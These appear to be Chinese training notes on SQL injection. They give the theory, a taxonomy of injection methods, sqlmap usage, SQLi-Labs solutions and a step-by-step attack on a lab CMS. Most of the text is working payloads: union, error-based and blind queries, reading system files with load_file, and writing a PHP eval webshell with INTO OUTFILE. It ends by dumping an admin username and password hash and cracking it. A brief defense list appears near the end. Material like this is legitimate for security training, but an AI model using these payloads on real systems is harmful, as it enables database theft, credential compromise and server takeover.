ASCII:美国信息交换标准代码)是基于拉丁字母的一套电脑编码系统,主要用于显示现代英语和其他西欧语言。它是现今最通用的单字节编码系统,并等同于国际标准ISO/IEC 646。
URL编码:
宽字节:
原理
SQL,结构化查询语言。与关系型数据库系统进行交流的语言。
大多数情况下,SQL 语句独立于DBMS 存在,但同时,每种DBMS 的特性和对SQL 个性化支持。
DBMS:数据库管理系统。
漏洞原理:针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的:
1,使用字符串拼接的方式构造SQL语句,
2,没有进行足够的过滤。
危害
@ 读取(窃取)数据库中信息,脱库
@ 修改或插入数据
@ 获取WebShell
@ 提升权限,与数据库有关。
! 分类和利用
根据不同的分类标准,分类也不同
1)按数据类型分类
数字型注入
字符型注入
2)按照注入手法分类
1.联合查询 union select
2.报错注入
3.布尔盲注
4. 时间盲注
引号闭合问题,必要时注释掉后面的内容
MySQL 中的注释实际是--空格
但是在url中需要用+代替空格就成了--+
#号也是注释 在URL 编码中#的编码是%23
==========================
回显就是输入不同的值。返回不同的页面内容
如何判断SQL 注入漏洞和方法的选择
@ id=1 判断有无回显
@ id=1' 判断有无报错
@ id=1 and 1=1
@ id=1 and 1=2 判断有无布尔类型的状态
==========================
注入手法的选择
有无回显 有回显 联合查询
有无报错 有报错 报错注入
有无布尔类型状态 有 布尔盲注
绝招 时间盲注
==========================
联合查询 union select
判断当前表中字段(列) 的个数
注意:
两张虚拟表的列数相同
字段类型相同
==========================
报错注入
利用数据库的报错信息来进行注入有3种。
1)group by
?id=1' and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
2)extractvalue
and extractvalue(1,concat('^',(select database()),'^'))
3)updatexml
and updatexml(1,concat('^',(select current_user()),'^'),1)
==========================
布尔盲注
原理:根据 http://172.18.199.91/cms/show.php?id=36 and 1=1 是正常页面
而http://172.18.199.91/cms/show.php?id=36 and 1=2 是错误页面可以判断存在布尔盲注;根据and后面不同的对比式判断正确与否。慢慢猜测数据库
length() 计算字符串的长度
substr(1,2,3) 字符串截取函数
1 被查找的字符串
2 从第几位开始截取
3 截取多少位
substr(database(),1,1)
ord() 返回字符串的ASCII 码
http://127.0.0.1/sql/Less-8/?id=2' and length(database())=8 --+
http://127.0.0.1/sql/Less-8/?id=2' and ord(substr(database(),1,1))<150 --+
==========================
# 时间盲注
if(1,2,3) if 判断
1 表达式,如果表达式的值为真,返回2,如果表达式的值为假,返回3
sleep(x) 让数据库沉睡x 秒钟
/Less-9/?id=1' and sleep(5)--+
/Less-9/?id=1' and if(length(database())=8,sleep(5),0)--+
/Less-9/?id=1' and if(ord(substr(database(),1,1))=100,sleep(5),0)--+
/Less-9/?id=1' and if(ord(substr(database(),1,1))=115,sleep(5),0)--+
# payload
注入模式、模板
# 注入的流程
数据库的名字-->库中表名-->表中列(字段)名-->字段内容
# 读写文件
load_file()
load_file('C:\\Windows\\System32\\drivers\\etc\\hosts')
load_file('C:/Windows/System32/drivers/etc/hosts')
load_file(0x433a2f57696e646f77732f53797374656d33322f647269766572732f6574632f686f737473)
写个一句话木马
?id=-36 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,'<?php eval($_POST[666]) ?>',12,13,14,15 into outfile 'c:/xampp/htdocs/1.php'
@ 根据提交的方法分类
GET 注入
POST 注入
Cookie 注入
@ 注入点的位置
URL
搜索框
订单
留言板
...
@ 其他分类
宽字节注入
堆叠查询
base64注入 base64 编码方式 编码的规则?
....
如何判断SQL 注入漏洞和方法的选择
@ id=1 判断有无回显
@ id=1' 判断有无报错
@ id=1 and 1=1
@ id=1 and 1=2 判断有无布尔类型的状态
! 防御
@ 安装WAF Web Application Firewall
@ 过滤敏感字符串
@ 将SQL 语句预编译 PDO
@ 存储过程
! SQL 注入神器
集成在kali 虚拟机中 python
sqlmap 重要常用参数
-u/--url 检测注入点
sqlmap -u "http://172.18.199.91/cms/show.php?id=36"
--dbs 所有数据库名
--current-db 当前数据库的名字
-D 指定一个数据库
--tables 列出所有的表名
-T 指定一个表
--columns 列出字段名
-C 指定字段
--dump 列出内容
sqlmap -g "php?id="
~ SQLi-Labs
! Less-01
?id=1
?id=1'
near ''1'' LIMIT 0,1' at line 1
select * from tbName where id='{$_GET['id']}' limit 0,1
/Less-1/?id=-2' union select 1,database(),3 --+
! Less-02
id=1
id=1'
near '' LIMIT 0,1' at line 1
select * from tbName where id={$_GET['id']} limit 0,1
/Less-2/?id=-2 union select 1,database(),3 --+
! Less-03
/Less-3/?id=-2') union select 1,database(),3--+
/Less-4/?id=-1") union select 1,database(),3 --+
/Less-5/?id=1' and updatexml(1,concat('^',(select current_user()),'^'),1)--+
/Less-6/?id=1" and updatexml(1,concat('^',(select current_user()),'^'),1) --+
! Less-08
/Less-8/?id=1' and length(database())=8--+ 数据库名字的长度是8
/Less-8/?id=1' and ord(substr(database(),1,1))=115--+
数据库名字的ASCII码
115 101
s e
! Less-09
/Less-9/?id=1' and sleep(5)--+
/Less-9/?id=1' and if(length(database())=8,sleep(5),0)--+
/Less-9/?id=1' and if(ord(substr(database(),1,1))=100,sleep(5),0)--+
/Less-9/?id=1' and if(ord(substr(database(),1,1))=115,sleep(5),0)--+
~ MYSQL 数据库的特性
information_schema库 元数据数据库(库名、表名、字段名)
|
`--tables 表 存储了所有的表的名字
| |
| `--table_schema表 表所属数据库的名字
| |
| `--table_name表 表的名字
|
`--columns 存储了所有字段的名字
|
`--column_name 字段的名字
|
`--table_name 字段所属表的名字
|
`--table_schema 字段所属库的名字
~ SQLi 实战
http://172.18.199.91/cms/show.php?id=36
有回显 联合查询
有报错 报错注入
有布尔 布尔盲注
绝招 时间盲注(延时注入)
! 联合查询
@ 查当前数据库的名字
?id=-36 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15
cms
@ 当前库中所有表的名字
?id=-36 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema=database()
636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273
cms_article
cms_category
cms_file
cms_friendlink
cms_message
cms_notice
cms_page
cms_users
@ cms_users 表中所有的字段名
?id=-36 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'
?id=-36 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schema=database() and table_name=0x636d735f7573657273
7573657269642C757365726E616D652C70617373776F7264
userid
username
password
@ 脱库
?id=-36 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15 from cms_users
admin:e10adc3949ba59abbe56e057f20f883e
admin/123456
MD5 加密 16位或32位